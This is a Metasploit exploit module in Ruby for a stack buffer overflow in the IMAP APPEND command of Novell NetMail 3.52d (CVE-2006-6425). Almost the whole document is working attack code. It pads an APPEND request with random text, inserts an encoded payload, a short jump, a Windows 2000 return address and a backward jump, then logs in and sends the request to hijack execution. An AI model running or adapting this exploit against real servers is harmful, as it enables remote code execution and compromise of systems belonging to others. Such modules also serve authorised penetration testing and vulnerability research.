Novell NetMail <= 3.52d IMAP APPEND Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Imap  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Novell NetMail <= 3.52d IMAP APPEND Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Novell's Netmail 3.52 IMAP APPEND  
verb. By sending an overly long string, an attacker can overwrite the   
buffer and control program execution.   
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2006-6425' ],  
[ 'OSVDB', '31362' ],  
[ 'BID', '21723' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-06-054.html' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 700,  
'BadChars' => "\x00\x0a\x0d\x20",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Dec 23 2006'))  
  
end  
  
def exploit  
sploit = "a002 APPEND " + "saved-messages (\Seen) "   
sploit << rand_text_english(1358) + payload.encoded + "\xeb\x06"  
sploit << rand_text_english(2) + [target.ret].pack('V')   
sploit << [0xe9, -585].pack('CV') + rand_text_english(150)  
  
info = connect_login   
  
if (info == true)  
print_status("Trying target #{target.name}...")  
sock.put(sploit + "\r\n")  
else  
print_status("Not falling through with exploit")   
end  
  
handler  
disconnect  
end  
end  
`